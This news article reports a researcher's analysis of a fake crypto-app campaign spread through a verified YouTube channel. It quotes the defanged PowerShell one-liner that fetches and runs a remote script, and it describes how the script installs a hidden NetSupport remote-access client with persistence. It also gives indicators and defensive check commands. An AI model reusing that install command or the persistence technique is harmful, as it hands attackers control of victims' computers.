A Verified YouTube Channel Pushed a Fake Crypto App That Hands Strangers Your PC

A Verified Channel With Nothing Behind It

The channel is called “Thomas Adams” (@Thomas_J_Adams). YouTube shows it as verified, with 2.23 million subscribers and a join date of 25 June 2025. Its 13 public videos add up to about 260,000 views, and 191,874 of those belong to the two Quant videos. “Whatever earned 2.23M subscribers is no longer visible,” Wilkinson writes.

The rest of the channel looks like filler. Eleven of the 13 videos were published within the same three seconds on 16 July 2026. Five have virus-removal titles and are all exactly 362 seconds long; six are about bug bounties and all run exactly 340 seconds. Wilkinson’s read is a repurposed channel, bought or taken over. He can’t tell which.

The badge is the part most viewers would trust. YouTube’s help page says a verified channel needs 100,000 subscribers and “must represent the real creator, brand, or entity it claims to be”. It also says badges don’t represent “endorsement from YouTube”. In other words, the check mark was never a statement about what a channel sells, and here it’s not clear it says much about who runs it either.

The production fills the gaps. Wilkinson thinks the presenter, a man at a desk praising the tool, is AI-generated or deepfaked, and he labels that a judgement he can’t prove. YouTube’s own auto-dubbing added 19 and 20 extra languages to the two videos. One video carried 1,660 comments from 1,660 different accounts, with not a single reply, and 1,646 of them had no likes at all. All but 13 were posted within the same 24 hours, around the day after upload. The most common line, “wow this tool looks super interesting cant wait to try it out”, came from six different accounts.

The Install Step Is the Attack

The website, quantai[.]io (written that way here so it doesn’t turn into a link), looks like a real startup’s. It claims 47,000+ early members, has terms of service for a “Quant Ltd” and puts a Cloudflare check on its sign-up form. The install instructions only appear after you sign up and log in, which keeps them away from security scanners.

The “Install Quant” page asks you to press Win+R, open PowerShell and paste one line: irm quantai[.]io/install | iex. It fetches a script from the internet and runs it. The page promises a download of about 40 MB. The four files that actually arrive come to about 2.5 MB.

Checking the link in a browser wouldn’t have shown anything either. The server handed the script to Windows PowerShell, while a request that looked like a browser got a Cloudflare block page.

On your PC, the script:

• sends your computer’s name to a second server, chartsgpt[.]com, and downloads the payload from it;
• unpacks a genuine NetSupport Manager client, signed by its vendor, into a folder called Supports and runs it as service.exe;
• changes the folder’s permissions so that, in Wilkinson’s reading, your own account can’t delete it;
• adds a shortcut to the Startup folder, so it runs every time you log in;
• launches the decoy Quant app, which carries a valid code signature in the name of an Estonian company.

The NetSupport settings switch off the tray icon, the connection prompt and the user’s option to disconnect. Whoever runs the server at the other end gets what a help desk would get: “the screen, the keyboard, file transfer and a command prompt”. On a PC used for crypto trading, that means exchange sessions, wallet apps and anything typed or saved. Wilkinson calls a financial motive “the likely read”, but nothing he recovered shows what happens once a session opens.

None of this is new as a trick. Microsoft described it in August 2025 under the name ClickFix and listed NetSupport among the remote-access tools such campaigns install. What’s new is the wrapping.

Hardly Anything Here Looks Malicious

That’s Wilkinson’s main point. The videos sat on YouTube, on a verified channel, translated by YouTube. The website and the download server sat behind Cloudflare. The decoy app had a signature from a public certificate authority, and the remote-control tool is a commercial product signed by its maker. By his count, what the operators ran themselves “comes down to four domains”.

“The malware did not get smarter. The wrapping did, and the wrapping is what your users judge,” he writes.

His findings come with limits he spells out. He downloaded and read every stage but didn’t run them, and he never saw a live remote session. He doesn’t know how many of the views were real or how many people pasted the command. The two remote-control domains were registered on 15 June, and one shortcut points to a file dated 19 July, so the setup predates the videos and earlier visitors may have received a different version. He also writes that the reverse engineering was done with AI tools, mainly Claude, and that he reviewed every finding. His post doesn’t say whether he reported the channel to YouTube.

At 04:06 UTC on 12 November, all four domains still resolved, and both remote-control domains still pointed to the same server, 45.91.202[.]58, in a Netherlands hosting range. A domain that resolves isn’t proof the server still answers, but nothing had been taken down at the DNS level.

Check Your PC

This matters if you signed up on quantai[.]io, and above all if you pasted its command. Open PowerShell (no admin rights needed) and run these lines one at a time.

Look for the three folders the campaign uses. Any True is a bad sign:

Test-Path "$env:LOCALAPPDATA\Supports", "$env:LOCALAPPDATA\Stoservice", "$env:LOCALAPPDATA\Quant"

Look for the Startup shortcuts (service.lnk or stservice.lnk):

Get-ChildItem ([Environment]::GetFolderPath('Startup')) -Filter *service.lnk

See whether anything is connected to the attackers’ port, 2084:

Get-NetTCPConnection -RemotePort 2084 -ErrorAction SilentlyContinue

Search your PowerShell history for the command itself:

Select-String -Path (Get-PSReadLineOption).HistorySavePath -Pattern 'quantai|chartsgpt'

Three False from the first line and no output from the other three is good news. A second version of the dropper uses the Stoservice folder and stservice.lnk, which is why the checks cover both. Earlier victims may have received files with other names.

If You Find It

Take the PC off the internet first. Switching off Wi-Fi or pulling the cable ends any remote session.

Then, from a different device, change the passwords for your email, crypto exchanges and bank, and sign out all other sessions where the service allows it. Treat every crypto wallet the PC could reach as exposed. Move the funds to a new wallet created on a clean device, with a new recovery phrase.

Deleting the folder isn’t enough to trust the PC again. Wilkinson advises treating an infected machine as having had a live remote session, and anyone with that access could have left more behind. Back up your documents and photos (not programs), then reset Windows with “Remove everything”. If it’s a work laptop, tell your IT team. His post and detection rules list everything they need.

The rule that would have stopped all of it is short. No real installer asks you to paste a command into Win+R or PowerShell. Our crypto scam statistics show how much these lures take from people each year. A check mark and two million subscribers prove nothing about a download.